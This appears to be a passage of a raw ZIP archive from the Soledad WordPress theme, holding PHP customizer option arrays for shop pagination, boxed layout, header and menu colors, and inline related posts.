		'right'  => __('Right','soledad' ),
	)
);
$options[] = array(
	'default'     => '400',
	'sanitize'    => 'penci_sanitize_number_field',
	'label'       => __( 'Infinit Ajax Scroll Threshold', 'soledad' ),
	'description'=>__('Sets the distance between the viewport to scroll area for scrollThreshold event to be triggered. <a class="wp-customizer-link" target="_blank" href="https://infinite-scroll.com/options.html#scrollthreshold">Click here</a> for more information.','soledad'),
	'id'          => 'penci_shop_product_pagination_ajax_threshold',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_shop_product_pagination_ajax_threshold',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => 'false',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Infinit Scroll History Options', 'soledad' ),
	'description'=>__('Changes page URL and browser history. <a class="wp-customizer-link" target="_blank" href="https://infinite-scroll.com/options.html#history-options">Click here</a> for more information.','soledad'),
	'id'          => 'penci_shop_product_pagination_ajax_history',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'false'   => __('Disable','soledad' ),
		'push'    => __('Push','soledad' ),
		'replace' => __('Replace','soledad' ),
	)
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'History Title', 'soledad' ),
	'description'=>__('Updates the window title. Requires history enabled. <a class="wp-customizer-link" target="_blank" href="https://infinite-scroll.com/options.html#historytitle">Click here</a> for more information.','soledad'),
	'id'          => 'penci_shop_product_pagination_ajax_title',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => true,
	'id'          => 'penci_shop_mini_cart_quantity',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Side Cart Product Quantity Input', 'soledad' ),
	'description'=>__('Show quantity input on side cart product item.','soledad'),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'id'       => 'penci_shop_stock_progress_bar',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Stock Progress Bar on Product', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_general_heading_5',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Other Settings', 'soledad' ),
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'id'       => 'penci_woocommerce_search_included_posts',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show blog search results below of product search', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_woocommerce_search_included_total',
	'default'  => 5,
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Total blog item Display under product serch', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woocommerce_search_included_total',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_woocommerce_standard_page',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Use standard page content for cart and checkout pages.', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
return $options;
PK     0w\W  W  E  customizer/config/sections/pencidesign_general_body_boxed_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => __( 'Enable Body Boxed Layout', 'soledad' ),
	'description'=>__('This option does not apply when you enable vertical navigation','soledad'),
	'id'          => 'penci_body_boxed_layout',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Background Color for Body Boxed', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Background Image for Body Boxed', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_image',
	'sanitize' => 'esc_url_raw',
	'type'     => 'soledad-fw-image'
);
$options[] = array(
	'label'    => __( 'Background Body Boxed Repeat', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_repeat',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'no-repeat' => __('No Repeat','soledad' ),
		'repeat'    => __('Repeat','soledad' ),
	),
	'default'  => 'no-repeat',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Background Body Boxed Attachment', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_attachment',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'fixed'  => __('Fixed','soledad' ),
		'scroll' => __('Scroll','soledad' ),
		'local'  => __('Local','soledad' ),
	),
	'default'  => 'fixed',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Background Body Boxed Size', 'soledad' ),
	'id'       => 'penci_body_boxed_bg_size',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'cover' => __('Cover','soledad' ),
		'auto'  => __('Auto','soledad' ),
	),
	'default'  => 'cover',
	'sanitize' => 'penci_sanitize_choices_field'
);

return $options;
PK     0w\JUZ)  )  E  customizer/config/sections/pencidesign_logo_header_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Background Color', 'soledad' ),
	'id'       => 'penci_header_background_color',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'esc_url_raw',
	'type'        => 'soledad-fw-image',
	'label'       => __( 'Header Background Image', 'soledad' ),
	'description' => __( 'You should use image with minimum width 1920px and minimum height 300px', 'soledad' ),
	'id'          => 'penci_header_background_image',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color', 'soledad' ),
	'id'       => 'penci_header_social_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Social Icons Color Hover', 'soledad' ),
	'id'       => 'penci_header_social_color_hover',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Slogan Text', 'soledad' ),
	'id'       => 'penci_section_slogan_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Text Color', 'soledad' ),
	'id'       => 'penci_header_slogan_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Header Slogan Line Color', 'soledad' ),
	'id'       => 'penci_header_slogan_line_color',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Main Bar', 'soledad' ),
	'id'          => 'penci_section_mainbar_heading',
	'description' => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/main-bar.png">this image</a> to know what is Main Bar', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Main Bar Background', 'soledad' ),
	'id'       => 'penci_main_bar_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Main Bar Border Color', 'soledad' ),
	'id'       => 'penci_main_bar_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search, Shopping Cart & Mobile Bars Icons Color', 'soledad' ),
	'id'       => 'penci_main_bar_search_magnify',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Close Search Color', 'soledad' ),
	'id'       => 'penci_main_bar_close_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Overlay Background Color', 'soledad' ),
	'id'       => 'penci_search_obg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Overlay Input Color', 'soledad' ),
	'id'       => 'penci_search_oinput_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Overlay Border Color', 'soledad' ),
	'id'       => 'penci_search_obd_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Primary Menu', 'soledad' ),
	'id'       => 'penci_section_primary_menu_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Color', 'soledad' ),
	'id'       => 'penci_main_bar_nav_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Menu Text Hover & Active Color', 'soledad' ),
	'id'       => 'penci_main_bar_color_active',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color',
	'label'       => __( 'Padding Menu Items Background Color', 'soledad' ),
	'description' => __( 'Use when you enable padding for menu items', 'soledad' ),
	'id'          => 'penci_main_bar_padding_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Background Color', 'soledad' ),
	'id'       => 'penci_drop_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Menu Items Border Color', 'soledad' ),
	'id'       => 'penci_drop_items_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Text Color', 'soledad' ),
	'id'       => 'penci_drop_text_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Text Hover & Active Color', 'soledad' ),
	'id'       => 'penci_drop_text_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Dropdown Border When Hover for Menu Style2', 'soledad' ),
	'id'       => 'penci_drop_border_style2',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Category Mega Menu', 'soledad' ),
	'id'       => 'penci_section_category_megamenu_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Category Mega Menu Background Color', 'soledad' ),
	'id'       => 'penci_mega_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Category Mega Menu List Child Categories Background Color', 'soledad' ),
	'id'       => 'penci_mega_child_cat_bg_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_mega_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color for Category Mega Menu Style 2 & Featured Post on Style 5', 'soledad' ),
	'id'       => 'penci_mega_title_color_25',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Category Mega Menu Post Date Color', 'soledad' ),
	'id'       => 'penci_mega_post_date_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Date Color for Category Mega Menu Style 2 & Featured Post on Style 5', 'soledad' ),
	'id'       => 'penci_mega_post_date_color_25',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mega Menu Post Category Color', 'soledad' ),
	'id'       => 'penci_mega_post_category_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Category Mega Menu Accent Color', 'soledad' ),
	'id'       => 'penci_mega_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Border Color for Category Mega on Menu Style2', 'soledad' ),
	'id'       => 'penci_mega_border_style2',
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Vertical Mobile Navigation', 'soledad' ),
	'id'          => 'penci_section_mobilevernav_color_heading',
	'description' => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-mobile-navigation.png">this image</a> to know what is Vertical Mobile Navigation.', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Close Overlay Color', 'soledad' ),
	'id'       => 'penci_ver_nav_overlay_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Close Button Background', 'soledad' ),
	'id'       => 'penci_ver_nav_close_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Close Button Icon Color', 'soledad' ),
	'id'       => 'penci_ver_nav_close_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Background', 'soledad' ),
	'id'       => 'penci_ver_nav_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Borders Color', 'soledad' ),
	'id'       => 'penci_ver_nav_searchborder',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Text Color', 'soledad' ),
	'id'       => 'penci_ver_nav_textcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Search Form Search Icon Color', 'soledad' ),
	'id'       => 'penci_ver_nav_iconcolor',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Accent Color', 'soledad' ),
	'id'       => 'penci_ver_nav_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Accent Hover Color', 'soledad' ),
	'id'       => 'penci_ver_nav_accent_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Mobile Nav Menu Items Border Color', 'soledad' ),
	'id'       => 'penci_ver_nav_items_border',
);

return $options;
PK     0w\2345  5  I  customizer/config/sections/penci_section_spost_inline_reposts_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Inline Related Posts Before/After Content', 'soledad' ),
	'description' => __( 'You can check <a class="wp-customizer-link" href="https://imgresources.s3.amazonaws.com/inline_related_posts.png" target="_blank">this image</a> to understand what\'s Inline Related Posts', 'soledad' ),
	'id'          => 'penci_inlinerp_beaf_head',
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Add Inline Related Posts Before/After Post Content?', 'soledad' ),
	'description' => __( 'After enabling it, maybe you need to refresh the customize or check on the single post page on the front-end to see how it works.', 'soledad' ),
	'id'          => 'penci_show_inlinerp',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''       => __( 'None', 'soledad' ),
		'before' => __( 'Before Post Content', 'soledad' ),
		'after'  => __( 'After Post Content', 'soledad' ),
		'be_af'  => __( 'Before & After Post Content', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'categories',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Inline Related Posts By:', 'soledad' ),
	'id'       => 'penci_inlinerp_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'categories'  => __( 'Same Categories', 'soledad' ),
		'tags'        => __( 'Same Tags', 'soledad' ),
		'primary_cat' => __( 'Same Primary Category from "Yoast SEO" or "Rank Math" plugin', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'rand',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Inline Related Posts By:', 'soledad' ),
	'id'       => 'penci_inlinerp_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'rand'          => __( 'Random Posts', 'soledad' ),
		'date'          => __( 'Published Date', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular_day'   => __( 'Most Viewed Posts Once Daily', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Inline Related Posts:', 'soledad' ),
	'id'       => 'penci_inlinerp_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending Order', 'soledad' ),
		'ASC'  => __( 'Ascending  Order', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'list',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Style', 'soledad' ),
	'id'       => 'penci_inlinerp_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'list' => __( 'List', 'soledad' ),
		'grid' => __( 'Grid', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Inline Related Posts Float:', 'soledad' ),
	'id'       => 'penci_inlinerp_align',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'none'  => __( 'None', 'soledad' ),
		'left'  => __( 'Float To Left', 'soledad' ),
		'right' => __( 'Float To Right', 'soledad' ),
	)
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Inline Related Posts Inside Post Content', 'soledad' ),
	'id'       => 'penci_inlinerp_insert_head',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Add Inline Related Posts Inside Posts Content?', 'soledad' ),
	'description' => __( 'After enabling it, maybe you need to refresh the customize or check on the single post page on the front-end to see how it works.', 'soledad' ),
	'id'          => 'penci_show_inlinerp_inside',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		''         => __( 'None', 'soledad' ),
		'repeat'   => __( 'After Each X Paragraphs - Repeat', 'soledad' ),
		'norepeat' => __( 'After X Paragraphs - No Repeat', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Add Inline Related Posts Inside Posts Content After How Many Paragraphs?', 'soledad' ),
	'id'       => 'penci_show_inlinerp_p',
	'ids'      => array(
		'desktop' => 'penci_show_inlinerp_p',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'default'  => 'categories',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Display Inline Related Posts By:', 'soledad' ),
	'id'       => 'penci_inlinerpis_by',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'categories'  => __( 'Same Categories', 'soledad' ),
		'tags'        => __( 'Same Tags', 'soledad' ),
		'primary_cat' => __( 'Same Primary Category from "Yoast SEO" or "Rank Math" plugin', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'rand',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Inline Related Posts By:', 'soledad' ),
	'id'       => 'penci_inlinerpis_orderby',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'rand'          => __( 'Random Posts', 'soledad' ),
		'date'          => __( 'Published Date', 'soledad' ),
		'ID'            => __( 'Post ID', 'soledad' ),
		'modified'      => __( 'Modified Date', 'soledad' ),
		'title'         => __( 'Post Title', 'soledad' ),
		'comment_count' => __( 'Comment Count', 'soledad' ),
		'most_liked'    => __( 'Most Liked', 'soledad' ),
		'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
		'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
		'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'DESC',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Order Inline Related Posts:', 'soledad' ),
	'id'       => 'penci_inlinerpis_order',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'DESC' => __( 'Descending Order', 'soledad' ),
		'ASC'  => __( 'Ascending  Order', 'soledad' ),
	)
);
$options[] = array(
	'default'  => 'list',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Style for Inline Related Posts Inside Post Content', 'soledad' ),
	'id'       => 'penci_inlinerp_style_insert',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'list' => 'List',
		'grid' => 'Grid',
	)
);
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Float for Inline Related Posts Inside Post Content:', 'soledad' ),
	'id'       => 'penci_inlinerp_align_insert',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'none'  => __( 'None', 'soledad' ),
		'left'  => __( 'Float To Left', 'soledad' ),
		'right' => __( 'Float To Right', 'soledad' ),
	)
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'General Settings', 'soledad' ),
	'id'       => 'penci_inlinerp_general_head',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide on Mobile', 'soledad' ),
	'id'       => 'penci_inlinerp_hide_mobile',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '2',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Inline Related Posts Columns for Grid Style:', 'soledad' ),
	'description' => __( 'This option just applies when you select style is grid and "Inline Related Posts Float" is "None"', 'soledad' ),
	'id'          => 'penci_inlinerp_col',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'1' => __( '1 Column', 'soledad' ),
		'2' => __( '2 Column', 'soledad' ),
		'3' => __( '3 Column', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '6',
	'sanitize' => 'absint',
	'label'    => __( 'How Many Posts You Want to Display?', 'soledad' ),
	'id'       => 'penci_inlinerp_num',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_inlinerp_num',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'default'  => 'left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Heading Text Align', 'soledad' ),
	'id'       => 'penci_inlinerp_titalign',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'left'   => 'Left',
		'center' => 'Center',
		'right'  => 'Right',
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove the Line Below the Heading Text', 'soledad' ),
	'id'       => 'penci_inlinerp_titleline',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Featured Image on Grid Style?', 'soledad' ),
	'id'       => 'penci_inlinerp_hide_thumb',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Featured Image on the Right Side for Grid Style?', 'soledad' ),
	'id'       => 'penci_inlinerp_thumb_right',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Hide Post Date?', 'soledad' ),
	'id'       => 'penci_inlinerp_date',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Post Views?', 'soledad' ),
	'id'       => 'penci_inlinerp_views',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Font Sizes', 'soledad' ),
	'id'       => 'penci_inlinerp_fontsize_head',
	'type'     => 'soledad-fw-header',
);
/* Font Size */
$options[] = array(
	'label'    => '',
	'id'       => 'penci_inlinerp_fsheading_mobile',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Heading Text', 'soledad' ),
	'id'       => 'penci_inlinerp_fsheading',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_inlinerp_fsheading',
		'mobile'  => 'penci_inlinerp_fsheading_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_inlinerp_fstitle',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_inlinerp_fstitle',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_inlinerp_fsmeta',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_inlinerp_fsmeta',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Colors', 'soledad' ),
	'id'       => 'penci_inlinerp_colors_head',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color', 'soledad' ),
	'id'       => 'penci_inlinerp_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Borders Color', 'soledad' ),
	'id'       => 'penci_inlinerp_border',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Heading Text Color', 'soledad' ),
	'id'       => 'penci_inlinerp_cheading',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for the Line Below Heading Text', 'soledad' ),
	'id'       => 'penci_inlinerp_cline',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Color', 'soledad' ),
	'id'       => 'penci_inlinerp_ctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Title Hover Color', 'soledad' ),
	'id'       => 'penci_inlinerp_hctitle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_inlinerp_hcmeta',
);

return $options;
PK     0w\v	  	  =  customizer/config/sections/pencidesign_logo_header_colors.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Slide Up Search Form', 'soledad' ),
	'id'       => 'penci_section_searchform_color',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_section_searchform_form_bg',
	'default'  => '',
